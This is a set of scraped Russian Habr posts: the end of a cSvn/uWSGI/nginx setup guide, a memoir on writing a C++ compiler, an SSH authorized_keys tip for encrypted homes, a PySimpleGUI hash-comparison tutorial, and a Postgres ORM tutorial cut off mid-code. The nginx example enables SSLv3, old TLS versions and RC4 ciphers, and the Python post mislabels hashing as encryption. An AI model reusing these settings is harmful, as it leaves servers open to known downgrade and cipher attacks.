copyright = "© Andrey V. Kosteltsev, 2019 – 2020.";
copyright-notice = "Where any material of this site is being reproduced, published or issued to others the reference to the source is obligatory.";
home-page = "https://radix.pro/";
section "Tools" {
repo 'csvn' {
owner = "Andrey V.Kosteltsev";
title = "cSvn CGI Script";
description = "cSvn CGI Script – is a web frontend for Subversion™ Repositories";
home-page = "https://radix.pro/";
}
}
```
Его можно использовать как начальный шаблон.
После создания конфигурационного файла */etc/csvnrc* можно проверить работу [csvnd(8)](https://csvn.radix.pro/csvn/trunk/doc/csvnd.8.md) демона.
В случае работы на системе с BSD-like инициализацией, для запуска [csvnd(8)](https://csvn.radix.pro/csvn/trunk/doc/csvnd.8.md) демона достаточно выполнить команду
```
/etc/rc.d/rc.csvnd start
```
Для систем использующих **systemd**, необходимо воспользоваться утилитой *systemctl*:
```
systemctl enable csvnd.service
systemctl start csvnd.service
```
**Здесь необходимо упомянуть следующее...**
При сборке и установке исходного пакета **cSvn**, устанавливается start/stop-скрипт */etc/rc.d/rc.csvnd*. Если же речь идет о системах использующих ***systemd***, то для установки **cSvn** лучше использовать бинарный **RPM** или **pacman** пакет, поскольку в таких пакетах файл */etc/rc.d/rc.csvnd* заменяется на Systemd Unit,
**/usr/lib/systemd/system/csvnd.service:**
```
[Unit]
Description=The cSvn daemon
After=network.target
[Service]
PIDFile=/var/run/csvnd.pid
ExecStart=/usr/sbin/csvnd --daemonize --inotify --config=/etc/csvnrc
ExecReload=/bin/kill -s HUP $MAINPID
ExecStop=/bin/kill -s TERM $MAINPID
[Install]
WantedBy=multi-user.target
```
устанавливаемый в каталог */usr/lib/systemd/system*.
Если для используемой вами системы еще не создан пакет **cSvn**, то вы его можете приготовить самостоятельно, по инструкциям, приведенным к каталоге [doc/build-packages](https://csvn.radix.pro/csvn/trunk/doc/build-packages/).
Если же вы не хотите создавать пакет для вашей системы, то вы можете просто поместить файл [csvnd.service](https://csvn.radix.pro/csvn/trunk/doc/build-packages/rpms/csvnd.service/) в каталог */usr/lib/systemd/system/* и выполнить запуск демона самостоятельно.
После запуска [csvnd(8)](https://csvn.radix.pro/csvn/trunk/doc/csvnd.8.md) демона надо убедиться в существовании файла */dev/shm/csvn.bcf* и, в случае его отсутствия посмотреть на ошибки приведенные в */var/log/csvnd.log* файле.
Настройка uWsgi
---------------
Поскольку на этапе конфигурирования мы выбрали для инсталляции **cSvn** CGI-скрипта каталог */var/www/htdocs/csvn/*, файл */etc/uwsgi/csvn.ini* должен ваглядеть следующим образом:
**/etc/uwsgi/csvn.ini:**
```
[uwsgi]
master = true
plugins = cgi
socket = /run/uwsgi/%n.sock
uid = nginx
gid = nginx
procname-master = uwsgi csvn
processes = 1
threads = 2
cgi = /var/www/htdocs/csvn/csvn.cgi
```
Здесь переменная **cgi** устанавливает полное имя CGI-скрипта **cSvn**.
Для запуска **uWsgi** демона на системах с BSD-like инициализацией, такой как ***Slackware***, необходимо создать start/stop скрипт следующего вида:
**/ets/rc.d/rc.csvn-uwsgi:**
```
#!/bin/sh
#
# uWSGI daemon control script.
#
CONF=csvn
BIN=/usr/bin/uwsgi
CONFDIR=/etc/uwsgi
PID=/var/run/$CONF-uwsgi.pid
uwsgi_start() {
# Sanity checks.
if [ ! -r $CONFDIR/csvn.ini ]; then # no config files, exit:
echo "There are config files in $CONFDIR directory. Abort."
exit 1
fi
if [ -s $PID ]; then
echo "uWSGI for cSvn appears to already be running?"
exit 1
fi
echo "Starting uWSGI for cSvn server daemon..."
if [ -x $BIN ]; then
/bin/mkdir -p /run/uwsgi
/bin/chown nginx:nginx /run/uwsgi
/bin/chmod 0755 /run/uwsgi
$BIN --thunder-lock --pidfile $PID --daemonize /var/log/csvn-uwsgi.log --ini $CONFDIR/$CONF.ini
fi
}
uwsgi_stop() {
echo "Shutdown uWSGI for cSvn gracefully..."
/bin/kill -INT $(cat $PID)
/bin/rm -f $PID
}
uwsgi_reload() {
echo "Reloading uWSGI for cSvn configuration..."
kill -HUP $(cat $PID)
}
uwsgi_restart() {
uwsgi_stop
sleep 3
uwsgi_start
}
case "$1" in
start)
uwsgi_start
;;
stop)
uwsgi_stop
;;
reload)
uwsgi_reload
;;
restart)
uwsgi_restart
;;
*)
echo "usage: `basename $0` {start|stop|reload|restart}"
esac
```
Дать ему права на выполнение
```
chmod a+x /ets/rc.d/rc.csvn-uwsgi
```
и добавить следующие строчки в файлы */etc/rc.d/rc.M*, */etc/rc.d/rc.6*, соответственно:
**/etc/rc.d/rc.M:**
```
# Start uWSGI for cSvn server:
if [ -x /etc/rc.d/rc.csvn-uwsgi ]; then
/etc/rc.d/rc.csvn-uwsgi start
fi
```
**/etc/rc.d/rc.6:**
```
# Stop uWSGI for cSvn server:
if [ -x /etc/rc.d/rc.csvn-uwsgi ]; then
/etc/rc.d/rc.csvn-uwsgi stop
fi
```
Настройка Nginx
---------------
Конфигурационный файл, для выбранного нами каталога установки и домена **csvn.example.org** должен выглядеть следующим образом:
**/etc/nginx/vhosts/csvn.example.org.conf:**
```
#
# cSvn server:
#
server {
listen 80;
server_name csvn.example.org;
return 301 https://csvn.example.org$request_uri;
}
server {
listen 443 ssl;
server_name csvn.example.org;
root /var/www/htdocs/csvn;
charset UTF-8;
#
# see:
# https://developer.mozilla.org/en-US/docs/Web/Security/HTTP_strict_transport_security ,
# https://raymii.org/s/tutorials/HTTP_Strict_Transport_Security_for_Apache_NGINX_and_Lighttpd.html
#
# see also: http://classically.me/blogs/how-clear-hsts-settings-major-browsers
# and do not include includeSubdomains; parameter into line:
#
add_header Strict-Transport-Security "max-age=63072000; preload";
error_log /var/log/nginx/csvn.example.org-error.log;
access_log /var/log/nginx/csvn.example.org-access.log;
keepalive_timeout 60;
ssl_certificate /etc/letsencrypt/live/csvn.example.org/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/csvn.example.org/privkey.pem;
ssl_trusted_certificate /etc/letsencrypt/live/csvn.example.org/chain.pem;
ssl_protocols SSLv3 TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers "RC4:HIGH:!aNULL:!MD5:!kEDH";
gzip on;
gzip_disable "msie6";
gzip_comp_level 6;
gzip_min_length 1100;
gzip_buffers 16 8k;
gzip_proxied any;
gzip_types text/plain text/css text/js text/xml text/javascript
image/svg+xml image/gif image/jpeg image/png
application/json application/x-javascript application/xml application/xml+rss application/javascript
font/truetype font/opentype application/font-woff application/font-woff2
application/x-font-ttf application/x-font-opentype application/vnd.ms-fontobject application/font-sfnt;
#
# Serve static content with nginx
#
#
# Rewrite rules for versioning CSS + JS thtouh filemtime directive
#
location ~* ^.+.(css|js)$ {
rewrite ^(.+).(d+).(css|js)$ $1.$3 last;
expires 31536000s;
access_log off;
log_not_found off;
add_header Pragma public;
add_header Cache-Control "max-age=31536000, public";
}
#
# Caching of static files
#
location ~* .(eot|gif|gz|gzip|ico|jpg|jpeg|otf|pdf|png|svg|svgz|swf|tar|t?gz|woff|zip)$ {
expires 31536000s;
access_log off;
log_not_found off;
add_header Pragma public;
add_header Cache-Control "max-age=31536000, public";
}
location ~ ^/favicon.ico$ {
root /u3/nginx/vhosts/csvn;
access_log off;
log_not_found off;
expires 30d;
}
location = /robots.txt {
allow all;
log_not_found off;
access_log off;
}
location / {
try_files $uri @csvn;
}
location @csvn {
gzip off;
include uwsgi_params;
uwsgi_modifier1 9;
uwsgi_pass unix:/run/uwsgi/csvn.sock;
}
}
```
После создания файла */etc/nginx/vhosts/csvn.example.org.conf* его необходимо включить в основной конфигурационный файл **Nginx**:
**/etc/nginx/nginx.conf:**
```
include /etc/nginx/vhosts/csvn.example.org.conf;
```
После запуска **uWsgi** и **Nginx** можно заняться настройкой репозториев используя руководство [csvnrc(5)](https://csvn.radix.pro/csvn/trunk/doc/csvnrc.5.md).
Заключительная настройка
------------------------
Все необходимые файлы для работы на стороне web-клиента находятся в каталоге */var/www/htdocs/csvn/.csvn/*. Редактируя файл */.csvn/html/header.html* и меняя значения переменных в файле */etc/csvnrc*, пользователь может сменить *favicon.ico*, поменять тему подсветки синтаксиса, выбрать изображения для собственных репозиториев, задать ключевые слова для поисковых систем, а также выполнить множество других настроек своего сервера.
Внешний вид интерфейса определяется единственным CSS-файлом и поэтому, пользователь может поменять тему web-интерфейса так, как ему будет необходимо.
Посмотреть на рабочую копию **cSvn** сервера можно [здесь](https://csvn.radix.pro/csvn). | https://habr.com/ru/post/528068/ | null | ru | null |
# Как я писал компилятор С++. Пересказ спустя 15 лет
15 лет назад не было Хабрахабра, не было фейсбука, и что характерно, не было компилятора С++, с выводом диагностических сообщений на русском. С тех пор, вышло несколько новых стандартов С++, технологии разработки сделали гигантский скачок, а для написания своего языка программирования или анализатора кода может потребоваться в разы меньше времени, используя существующие фреймворки. Пост о том, как я начинал свою карьеру и путем самообразования и написания компилятора С++, пришел к экспертному уровню. Общие детали реализации, сколько времени это заняло, что получилось в итоге и смысл затеи — тоже внутри.
### С чего все начиналось
В далеком 2001-ом году, когда мне купили первый компьютер Duron 800mhz/128mb ram/40gb hdd, я стремительно взялся за изучение программирования. Хотя нет, сначала меня постоянно мучил вопрос, что же поставить Red Hat Linux, FreeBSD или Windows 98/Me? Ориентиром в этом бесконечном мире технологий для меня служил журнал Хакер.
Старый такой, стебный журнал. К слову, с тех пор, стиль изложения в этом издании почти не поменялся.
Виндузятники, ламеры, трояны, элита, линух — вот это все сносило крышу. Реально хотелось
поскорей освоить этот весь стек, которые они там печатали и хакнуть Пентагон (без интернета).
Внутренняя борьба за то, становиться ли Линуксоидом или рубится в игры на винде продолжалась до тех пор, пока в дом не провели интернет. Модемный, скрежечащий 56kb/s интернет, который занимал телефон на время подключения, и качал mp3-песню в районе получаса. При цене порядка 0.1$/mb, одна песня вытягивала на 40-50 центов. Это днем.
А вот ночью, были совсем другие расценки. Можно было с 23.00 до 6.00 залипать во все сайты не отключая изображения в браузере! Поэтому все что можно было скачать из сети за ночь, качалось на винт, и далее прочитывалось уже днем.
В первый день, когда мне домой провели и настроили сеть, админ передо мной открыл IE 5 и Яндекс. И быстро ретировался. Думая, что же первым делом искать в сети, я набрал что-то вроде «сайт для программистов». На что первой ссылкой в выдаче выпал совсем недавно открывшийся [rsdn.ru](http://rsdn.org). И на нем я стал зависать продолжительное время, испытывая чувство неудовлетворенности, от того, что мало что понимаю. На то время флагманом и самым популярным языком на форуме (да и вообще) был С++. Поэтому вызов был брошен, и ничего не оставалось, как догонять бородатых дядек в их знаниях по С++.
А еще был не менее интересный сайт на то время — [firststeps.ru](http://firststeps.ru/). Я до сих пор считаю их метод подачи материала наилучшим. Маленькими порциями (шагами), с небольшими конечными результатами. Тем не менее все получалось!
Активно скупая книги на барахолке, я стремился постичь все азы программирования. Одной из первых купленных книг было «Искусство программирования» — Д. Кнут. Не помню точную мотивацию купить именно эту книгу, а не какой-нибудь С++ для кофейников, наверное продавец порекомендовал, но я со всем своим усердием школьника взялся за изучение первого тома, с обязательным выполнением задач в конце каждой главы. Это была самая мякотка, и хотя с математикой у меня в школе не ладилось, но зато с мат.аном Кнута прогресс был, потому что было огромное желание и мотивация писать программы и делать это правильно. Осилив алгоритмы и структуры данных, я купил уже 3-ий том «Искусства программирования» Сортировка и поиск. Это была бомба. Пирамидальная сортировка, быстрая сортировка, бинарный поиск, деревья и списки, стеки и очереди. Все это я записывал на листочке, интерпретируя результат в своей голове. Читал дома, читал когда был на море, читал везде. Одна сплошная теория, без реализации. При этом я даже не догадывался, какую огромную пользу принесут эти базовые знания в будущем.
Сейчас, проводя собеседования с разработчиками, мне еще не встретился человек, который смог бы написать реализацию бинарного поиска или быстрой сортировки на листочке. Жаль.
Но вернемся к теме поста. Осилив Кнута, надо было двигаться дальше. Попутно я сходил на курсы Turbo Pascal, прочитал Кернигана и Ритчи, а за ними С++ за 21 день. Из С и С++, мне было не все понятно, я просто брал и переписывал тексты из книг. Загуглить или спросить было не у кого, но зато времени было вагон, так как школу я забросил и перешел в вечернюю, в которую можно было практически не ходить, или появляться на 3-4 урока в неделю.
В итоге с утра до ночи, я фанатично развивался, познавая все новые и новые темы. Мог написать калькулятор, мог написать простое приложение на WinApi. На Delphi 6 тоже получалось что-то нашлепать. В итоге, получив диплом о среднем образовании, я уже был подготовлен на уровне 3-4 курса университета, и разумеется на какую специальность идти учится вопроса не стояло.
Поступив на кафедру Компьютерных систем и сетей, я уже свободно писал на С и С++ задачи любого уровня сложности университета. Хотя, зайдя на тот же rsdn.ru, понимал, как много еще нужно изучить и насколько бывалые форумчане прокаченней меня в плюсах. Это задевало, непонимание и вместе с тем жгучее желание знать все, привело меня к книге «Компиляторы. Инструменты. Методы. Технологии» — А.Ахо, Рави Сети. В простонародье именуемой книгой Дракона. Вот тут и началось самое интересное. Перед этой книгой, был прочитан [Герберт Шилдт, Теория и практика С++](https://www.livelib.ru/book/1000000569-teoriya-i-praktika-c-g-shildt), в которой он раскрывал продвинутые темы разработки, такие как шифрование, сжатие данных, и самое интересное — написание собственного парсера.
Начав скрупулезно изучать книгу дракона, двигаясь от лексического анализа, затем к синтаксическому и наконец к проверке семантики и генерации кода, ко мне пришло судьбоносное решение — написать свой компилятор С++.
— А почему бы и нет, спросил себя?
— А давай, ответила та часть мозга, которая с возрастом становится все скептичней ко всему
новому. И разработка компилятора началась.
### Подготовка
Модемный интернет к тому времени мне перекрыли, в силу смены телефонных линий на цифровые, поэтому для ориентира был скачан стандарт [ISO C++ редакции 1998 года](http://www.lirmm.fr/~ducour/Doc-objets/ISO+IEC+14882-1998.pdf). Уже полюбившимся и привычным инструментом стала Visual C++ 6.0.
И по сути задача свелась к тому, чтобы реализовать то, что написано в стандарте С++. Подспорьем в разработке компилятора была книга дракона. А отправной точкой, был парсер-калькулятор из книги Шилдта. Все части пазла собрались воедино и разработка началась.
### Препроцессор
[nrcpp\KPP\_1.1\](https://github.com/nrcpp/nrcpp/tree/master/KPP_1.1)
Во 2-ой главе в стандарте ISO C++ 98 идут требования к препроцессору и лексические конвенции (lexical conventions). Вот и славно, подумал я, ведь это наиболее простая часть и может реализоваться отдельно от самого компилятора. Другими словами, сначала запускается препроцессинг файла, на вход которому поступает С++ файл в том виде, котором вы привыкли его видеть. А после препроцессинга, на выходе мы имеем преобразованный С++ файл, но уже без комментариев, подставленными файлами из #include, подставленными макросами из #define, сохраненными #pragma и обработанной условной компиляцией #if/#ifdef/#endif.
**До препроцессинга:**
```
#define MAX(a, b) \
((a) > (b) ? a : b)
#define STR(s) #s
/*
This is the entry point of program
*/
int main()
{
printf("%s: %d", STR(This is a string), MAX(4, 5));
}
```
**После препроцессинга:**
```
int main()
{
printf("%s: %d", "This is a string", ((4) > (5) ? 4 : 5));
}
```
В довесок, [препроцессор](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B5%D0%BF%D1%80%D0%BE%D1%86%D0%B5%D1%81%D1%81%D0%BE%D1%80_%D0%A1%D0%B8) делал еще много полезной работы, вроде вычисления константных выражений, конкатенации строковых литералов, вывода #warning и #error. Ах да, вы когда нибудь видели в С-коде Диграфы и триграфы? Если нет, знайте — они существуют!
**Пример триграфов и диграфов**
int a<:10:>; // эквивалент int a[10];
if (x != 0) <% %> // эквивалент if (x != 0) { }
// Пример триграфа
??=define arraycheck(a,b) a??(b??) ??!??! b??(a??)
// проеобразуется в
#define arraycheck(a,b) a[b] || b[a]
Подробнее в [вики](https://ru.wikipedia.org/wiki/%D0%94%D0%B8%D0%B3%D1%80%D0%B0%D1%84_(%D1%8F%D0%B7%D1%8B%D0%BA%D0%B8_%D0%A1%D0%B8)).
Разумеется, основной пользой от препроцессора С++, является подстановка макросов и вставка файлов обозначенных в #include.
Чему я научился в процессе написания препроссора С++?
* Как устроена лексика и синтаксис языка
* Приоритеты операторов С++. И в целом как вычисляются выражения
* Строки, символы, контанты, постфиксы констант
* Структура кода
В целом, на написание препроцессора ушло порядка месяца. Не слишком сложно, но и нетривиальная задача, тем не менее.
В это время, мои одногруппники пытались написать первый «Hello, world!», да хотя бы собрать его. Далеко не у всех получалось. А меня ждали следующие разделы стандарта С++, с уже непосредственной реализацией компилятора языка.
### Лексический анализатор
[nrcpp/LexicalAnalyzer.cpp](https://github.com/nrcpp/nrcpp/blob/master/nrcpp/LexicalAnalyzer.cpp)
Тут все просто, основную часть анализа лексики я уже написал в препроцессоре. Задача лексического анализатора — разобрать код на лексемы или токены, которые уже будет анализироваться синтаксическим анализатором.
Что было написано на этом этапе?
* Конечный автомат для анализа целочисленных, вещественных и символьных констант. Думаете это просто? Впрочем просто, когда ты это прошел.
* Конечный автомат для анализа строковых литеров
* Разбор имен переменных и ключевых слов С++
* Что-то еще, как пить дать. Вспомню допишу
### Синтаксический анализатор
[nrcpp/Parser.cpp](https://github.com/nrcpp/nrcpp/blob/master/nrcpp/Parser.cpp)
Задача синтаксического анализатора — проверить правильность расстановки лексем, который были получены на этапы лексического анализа.
За основу синтаксического анализатора были взяты опять же простенький парсер из Шилдта, прокаченный до уровня синтаксиса С++, с проверкой переполнения стека. Если мы например напишем:
```
(((((((((((((((((((((((((((((0))))))))))))))))))))))))))))))))); // кол-во скобок может быть больше
```
То мой рекурсивный анализатор съест стэк, и выдаст, что выражение слишком сложное.
У внимательного читателя, может возникнуть вопрос. А зачем изобретать велосипед, ведь был же yacc и lex. Да, был. Но на том этапе, хотелся велосипед с полным контролем над кодом. Разумеется в производительности он уступал сгенерированному этими утилитами коду. Но не в этом была цель — техническое совершенство. Цель была — понять все.
### Семантика
[nrcpp/Checker.cpp](https://github.com/nrcpp/nrcpp/blob/master/nrcpp/Checker.cpp)
[nrcpp/Coordinator.cpp](https://github.com/nrcpp/nrcpp/blob/master/nrcpp/Coordinator.cpp)
[nrcpp/Overload.cpp](https://github.com/nrcpp/nrcpp/blob/master/nrcpp/Overload.cpp)
Занимает соотвественно главы с 3-ей по 14-ую стандарта ISO C++ 98. Эта наиболее сложная часть, и я уверен, что >90% С++ разработчиков не знает всех правил описанных в этих разделах. Например:
Знали ли вы, что функцию можно объявлять дважды, таким образом:
```
void f(int x, int y = 7);
void f(int x = 5, int y);
```
Есть такие конструкции для указателей:
```
const volatile int *const volatile *const p;
```
А это указатель на функцию-член класса X:
```
void (X::*mf)(int &)
```
Это первое, что пришло в голову. Стоит ли говорить, что при тестировании кода из стандарта в Visual C++ 6, я не редко получал Internal Compiler Error.
Разработка анализатора семантики языка заняла у меня 1.5 года, или полтора курса универа. За это время меня чуть не выгнали, по другим предметам кроме программирования, за счастье получалась тройка (ну, ок четверка), а компилятор тем временем разрабатывался и обрастал функционалом.
### Генератор кода
[nrcpp/Translator.cpp](https://github.com/nrcpp/nrcpp/blob/master/nrcpp/Translator.cpp)
На этом этапе, когда энтузиазм немного начал угасать, уже имеем вполне рабочую версию фронт-енд компилятора. Что дальше делать с этим фронт-ендом, разработчик решает сам. Можно распространять его в таком виде, можно использовать для написания анализатора кода, можно использовать для создания своего конвертера вроде С++ -> C#, или C++ -> C. На этом этапе у нас есть провалидированное синтаксически и семантически AST (abstract syntax tree).
И на этом этапе разработчик компилятора понимает, что он постиг дзен, достиг просветления, может неглядя понять почему код работает именно таким образом. Для добивания своей цели, создания компилятора С++, я решил закончить на генерации С-кода, который затем можно было бы конвертировать в любой существующий ассемблерный язык или подавать на вход существующим Сишным компиляторам (как делал Страуструп в первых версиях «С с классами»).
### Чего нет в nrcpp?
* *Шаблоны (templates)*. Шаблоны С++, эта такая хитровымудренная система с точки зрения реализации, что мне пришлось признать, без вмешательства в синтаксический анализатор и смешивания его с семантикой — шаблоны должным образом работать не будут.
* *namespace std*. Стандартную библиотеку без шаблонов не напишешь. Да впрочем и заняло бы это еще много-много месяцев, так как занимает львиную долю стандарта.
* *Внутренние ошибки компилятора*. Если вы будете играться с кодом, то сможете увидеть сообщения вроде:
внутренняя ошибка компилятора: in.txt(20, 14): «theApp.IsDiagnostic()» --> (Translator.h, 484)
Это либо не реализованный функционал, либо не учтенные семантические правила.
### Зачем писать свой велосипед?
А в заключении хочу отметить то, ради чего писалась этот пост. Написание своего велосипеда, даже если на это потрачено 2 с лишним года, кормит меня до сих пор. Это бесценные знания, база, которая будет с Вами на протяжении всей карьеры разработчика. Будут меняться технологии, фреймворки, выходить новые языки — но фундамент в них будет заложен из прошлого. И на их понимание и освоение уйдет совсем немного времени.
[github.com/nrcpp/nrcpp](https://github.com/nrcpp/nrcpp/) — исходники компилятора. Можно играться правя файл in.txt и смотреть вывод в out.txt.
[github.com/nrcpp/nrcpp/tree/master/KPP\_1.1](https://github.com/nrcpp/nrcpp/tree/master/KPP_1.1) — исходники препроцессора. Собирается с помощью Visual C++ 6.
**[learnazure.app](https://learnazure.app)** — мой проект в сфере обучения облачным технологиям. | https://habr.com/ru/post/322656/ | null | ru | null |
# Авторизация по SSH с использованием ключей в условиях шифрования домашней директории
Хрестоматийный вариант настройки авторизации по SSH с использованием ключей знают все: открытый ключ записывается в *~/.ssh/authorized\_keys*. В случае, если применяется шифрование домашней папки, то система не сможет прочесть данный файл. Следовательно, необходимо разместить эти данные за пределами зашифрованной домашней папки.
Предлагаю размещать файл **authorized\_keys** в каталоге */etc/{username}/.ssh*. В таком случае в */etc/ssh/sshd\_config* следует добавить соответствующую строку:
`AuthorizedKeysFile /etc/%u/.ssh/authorized_keys`
Не будет лишним также расставить параноидальные права:
`# chown -R {username}:{username} /etc/{username}
# chmod 1700 /etc/{username}
# chmod 0100 /etc/{username}/.ssh
# chmod 0600 /etc/{username}/.ssh/authorized_keys`
Последняя же рекомендация варьируется в зависимости от принятых методик управления системами. | https://habr.com/ru/post/103668/ | null | ru | null |
# Графический интерфейс на Python за 5 минут
Python легко использовать. В нем вы можете найти огромное количество библиотек для чего угодно. И это его основное преимущество. Из нескольких строк кода вы ничего не сделаете. Если вам нужны скрипты для личного пользования или для технически подкованной аудитории, то вам даже не придется думать о графическом интерфейсе.
Однако иногда ваша целевая аудитория не сильно подкована технически. Люди не против использовать ваши скрипты на Python до тех пор пока им не нужно смотреть на одну строку кода. В таком случае скриптов командной строки будет недостаточно. В идеале вам нужен графический интерфейс. Цель этого поста использовать только Python.
### Библиотеки Python, которые можно использовать для графического интерфейса
По сути, есть 3 большие библиотеки Python для графического интерфейса; Tkinter, wxPython и PyQT. Рассматривая их, я не нашел там ничего из того, что мне нравится в Python. Библиотеки Python, как правило, очень хорошо абстрагируются от супер-технических моментов. Если бы мне нужно было работать с объектно-ориентированным программированием, я мог бы с таким же успехом загрузить Java или .Net.
> [](https://www.edsd.ru/ "EDISON Software - web-development")
>
> Статья переведена при поддержке компании EDISON Software, которая [заботится о здоровье программистов и их завтраке](https://www.edsd.ru/ru/o_kompanii/novosti/zavtrak-programmista), а также [разрабатывает программное обеспечение на заказ](https://www.edsd.ru/ru/proekty/razrabotka_po).
Однако, к счастью, я наткнулся на четвёртый вариант, который был мне по душе. Это PySimpleGUI, я до сих пор ей пользуюсь. Как ни странно, эта библиотека использует все 3 популярные библиотеки, о которых шла речь выше, но при этом абстрагируется от супер технических моментов
Давайте погрузимся в эту библиотеку и изучим ее, одновременно решая реальную проблему.
### Проверьте два одинаковых файла
Я рассказал как это сделать в своей статье “3 быстрых способа сравнить данные в Python”. Мы можем использовать первый раздел, проверку целостности данных, чтобы попытаться создать пользовательский интерфейс.
* [3 Quick Ways To Compare Data with Python](https://medium.com/financeexplained/3-quick-ways-to-compare-data-in-python-65201be10b6)
По факту нам нужно загрузить два файла и выбрать шифрование, которое мы хотели бы использовать для сравнения файлов.
### Запрограммируйте графический интерфейс
Чтобы создать графический интерфейс, можно использовать этот код:
```
import PySimpleGUI as sg
layout = [
[sg.Text('File 1'), sg.InputText(), sg.FileBrowse(),
sg.Checkbox('MD5'), sg.Checkbox('SHA1')
],
[sg.Text('File 2'), sg.InputText(), sg.FileBrowse(),
sg.Checkbox('SHA256')
],
[sg.Output(size=(88, 20))],
[sg.Submit(), sg.Cancel()]
]
window = sg.Window('File Compare', layout)
while True: # The Event Loop
event, values = window.read()
# print(event, values) #debug
if event in (None, 'Exit', 'Cancel'):
break
```
в результате мы получим:
### Подключаем логику
Когда есть пользовательский интерфейс, легко понять, как подключить остальную часть кода. Нам просто нужно следить за тем, что вводит пользователь и действовать соответственно. Мы можем очень легко сделать это с помощью следующего кода:
```
import PySimpleGUI as sg
import re
import hashlib
def hash(fname, algo):
if algo == 'MD5':
hash = hashlib.md5()
elif algo == 'SHA1':
hash = hashlib.sha1()
elif algo == 'SHA256':
hash = hashlib.sha256()
with open(fname) as handle: #opening the file one line at a time for memory considerations
for line in handle:
hash.update(line.encode(encoding = 'utf-8'))
return(hash.hexdigest())
layout = [
[sg.Text('File 1'), sg.InputText(), sg.FileBrowse(),
sg.Checkbox('MD5'), sg.Checkbox('SHA1')
],
[sg.Text('File 2'), sg.InputText(), sg.FileBrowse(),
sg.Checkbox('SHA256')
],
[sg.Output(size=(88, 20))],
[sg.Submit(), sg.Cancel()]
]
window = sg.Window('File Compare', layout)
while True: # The Event Loop
event, values = window.read()
# print(event, values) #debug
if event in (None, 'Exit', 'Cancel'):
break
if event == 'Submit':
file1 = file2 = isitago = None
# print(values[0],values[3])
if values[0] and values[3]:
file1 = re.findall('.+:\/.+\.+.', values[0])
file2 = re.findall('.+:\/.+\.+.', values[3])
isitago = 1
if not file1 and file1 is not None:
print('Error: File 1 path not valid.')
isitago = 0
elif not file2 and file2 is not None:
print('Error: File 2 path not valid.')
isitago = 0
elif values[1] is not True and values[2] is not True and values[4] is not True:
print('Error: Choose at least one type of Encryption Algorithm')
elif isitago == 1:
print('Info: Filepaths correctly defined.')
algos = [] #algos to compare
if values[1] == True: algos.append('MD5')
if values[2] == True: algos.append('SHA1')
if values[4] == True: algos.append('SHA256')
filepaths = [] #files
filepaths.append(values[0])
filepaths.append(values[3])
print('Info: File Comparison using:', algos)
for algo in algos:
print(algo, ':')
print(filepaths[0], ':', hash(filepaths[0], algo))
print(filepaths[1], ':', hash(filepaths[1], algo))
if hash(filepaths[0],algo) == hash(filepaths[1],algo):
print('Files match for ', algo)
else:
print('Files do NOT match for ', algo)
else:
print('Please choose 2 files.')
window.close()
```
Он даст нам такой результат:
### Заключительные мысли
Может это и не самый красивый пользовательский интерфейс, но PySimpleGUI позволяет вам быстро разворачивать простые пользовательские интерфейсы Python и делиться ими с кем угодно. Код, который вам нужен для этого, прост и легко читается. У вас все еще будет проблема запуска кода для получения пользовательского интерфейса. Из-за этого могут возникнуть сложности с совместным использованием кода. Советую скачать что-то вроде PyInstaller, который превратит ваш скрипт на python в .exe файл. Люди смогут запустить его просто нажав на него дважды. | https://habr.com/ru/post/480884/ | null | ru | null |
# 5NO — NodeJS ORM for Postgres
#### Кратко об этом модуле
Этот модуль разработан мной для упрощения взаимодействия между Postgres и JS.
Я понимаю что есть много подобных модулей, но хотелось сделать что то гибкое и простое в обращение средство для разных нужд.
Модуль объединяет в себе три важные функции: валидацию входных данных, постройку запросов в базу данных и вывод данных в JSON.
#### Установка самого модуля
```
npm install --save @5no/pg-model
```
#### Настраиваем соединение
```
DATABASE_URL=postgres://test:123123@127.0.0.1:5432/testDB?ssl=false
DATABASE_QUERY_LOG=true
```
#### Дальше нам потребуется создать таблицы в базе данных
Талица с пользователями:
```
CREATE TABLE "public"."users" (
"id" uuid NOT NULL DEFAULT uuid_generate_v4(),
"email" text NOT NULL COLLATE "default",
"personalised" jsonb DEFAULT '{}'::jsonb,
"properties" jsonb DEFAULT '[]'::jsonb,
"created_at" timestamp(6) WITH TIME ZONE NOT NULL DEFAULT now(),
"updated_at" timestamp(6) WITH TIME ZONE NOT NULL DEFAULT now()
)
```
Таблица с дополнительными данными о пользователе:
```
CREATE TABLE "public"."users_info" (
"id" uuid NOT NULL DEFAULT uuid_generate_v4(),
"user_id" uuid NOT NULL,
"first_name" text COLLATE "default",
"last_name" text COLLATE "default",
"created_at" timestamp(6) WITH TIME ZONE NOT NULL DEFAULT now(),
"updated_at" timestamp(6) WITH TIME ZONE NOT NULL DEFAULT now()
)
```
Таблица с адресами пользователя:
```
CREATE TABLE "public"."users_address" (
"id" uuid NOT NULL DEFAULT uuid_generate_v4(),
"user_id" uuid NOT NULL,
"street_name" text COLLATE "default",
"postcode" text COLLATE "default",
"created_at" timestamp(6) WITH TIME ZONE NOT NULL DEFAULT now(),
"updated_at" timestamp(6) WITH TIME ZONE NOT NULL DEFAULT now()
)
```
Таблица с ролями:
```
CREATE TABLE "public"."roles" (
"id" uuid NOT NULL DEFAULT uuid_generate_v4(),
"role" text NULL,
"created_at" timestamp(6) WITH TIME ZONE NOT NULL DEFAULT now(),
"updated_at" timestamp(6) WITH TIME ZONE NOT NULL DEFAULT now()
)
```
Таблица связи роли и пользователя:
```
CREATE TABLE "public"."user_roles" (
"user_id" uuid NOT NULL,
"role_id" uuid NOT NULL
)
```
#### Создание моделей
Модель ролей:
```
const { Model } = require('@5no/pg-model')
class Roles extends Model {
static schema = {
table: {
schema: 'public',
name: 'roles',
},
columns: {
id: {
type: String,
primaryKey: true,
defaultValue: null,
},
role: {
type: String,
defaultValue: null,
},
created_at: {
type: Date,
created: true,
format: 'YYYY-MM-DD HH:mm:ss',
},
updated_at: {
type: Date,
updated: true,
format: 'YYYY-MM-DD HH:mm:ss',
},
},
relations: {},
}
}
```
Модель связи ролей к пользователю:
```
const { Model } = require('@5no/pg-model')
class UserRoles extends Model {
static schema = {
table: {
schema: 'public',
name: 'user_roles',
},
columns: {
user_id: {
type: String,
defaultValue: null,
primaryKey: true,
},
role_id: {
type: String,
defaultValue: null,
primaryKey: true,
},
},
relations: {},
}
}
```
Модель адресов пользователя:
```
const { Model } = require('@5no/pg-model')
class UsersAddresses extends Model {
static schema = {
table: {
schema: 'public',
name: 'users_address',
},
columns: {
id: {
type: String,
